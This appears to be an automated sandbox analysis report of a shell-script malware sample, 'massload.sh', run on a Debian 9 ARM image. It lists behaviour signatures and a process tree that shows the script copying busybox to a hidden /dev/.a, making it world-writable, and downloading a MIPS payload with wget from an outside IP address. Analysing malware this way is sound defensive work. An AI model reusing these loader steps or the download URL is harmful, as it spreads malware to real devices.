Overview

overview

7

Static

static

1

massload.sh

ubuntu-18.04-amd64

7

massload.sh

debian-9-armhf

7

massload.sh

debian-9-mips

massload.sh

debian-9-mipsel

Analysis

  • max time kernel
    146s
  • max time network
    148s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20260513-en
  • resource tags

    arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    02/07/2026, 23:02

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    massload.sh
  • Size 2KB
  • Sample260702-21c8eacz5k
  • SHA256 99ec0e5a73529d9bc0ee7c385e46c802a2f94be1dabdc2aa954f2ba8de2b4d58
  • MD5 SHA1 SHA512 TLSH
Score
7/10
credential_accessdefense_evasiondiscovery

Malware Config

Signatures

  • File and Directory Permissions Modification 1 TTPs 1 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads process memory 1 TTPs 64 IoCs

    Read the memory of a process through the /proc virtual filesystem. This can be used to steal credentials.

    credential_access
  • Reads runtime system information 2 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • System Network Configuration Discovery 1 TTPs 2 IoCs

    Adversaries may gather information about the network configuration of a system.

    discovery

Processes

  • /tmp/massload.sh
    /tmp/massload.sh
    1⤵
    • Reads process memory
    PID:647
    • /bin/grep
      grep tmpfs
      2⤵
        PID:700
      • /bin/cat
        cat /proc/mounts
        2⤵
        • Reads runtime system information
        PID:699
      • /bin/grep
        grep -v noexe
        2⤵
          PID:702
        • /bin/grep
          grep rw
          2⤵
            PID:701
          • /usr/bin/cut
            cut -d " " -f 2
            2⤵
              PID:703
            • /bin/cp
              cp /bin/busybox //dev/.a
              2⤵
              • Reads runtime system information
              PID:706
            • /bin/chmod
              chmod 777 //dev/.a
              2⤵
              • File and Directory Permissions Modification
              PID:708
            • /bin/rm
              rm -rf .a
              2⤵
                PID:710
              • /bin/rm
                rm mips mpsl "arm*"
                2⤵
                • System Network Configuration Discovery
                PID:711
              • /usr/bin/wget
                wget http://217.60.195.160/gigatex/mips
                2⤵
                • System Network Configuration Discovery
                PID:715

            Network

                  MITRE ATT&CK Enterprise v16

                  Replay Monitor

                  Loading Replay Monitor...

                  Downloads

                  .a
                  • Path /dev/.a
                  • Size 507KB
                  • SHA256 2dd1fbb8052a89f40c2e9af115d31346e554ee746e9c7a97d651e43e0609df88
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download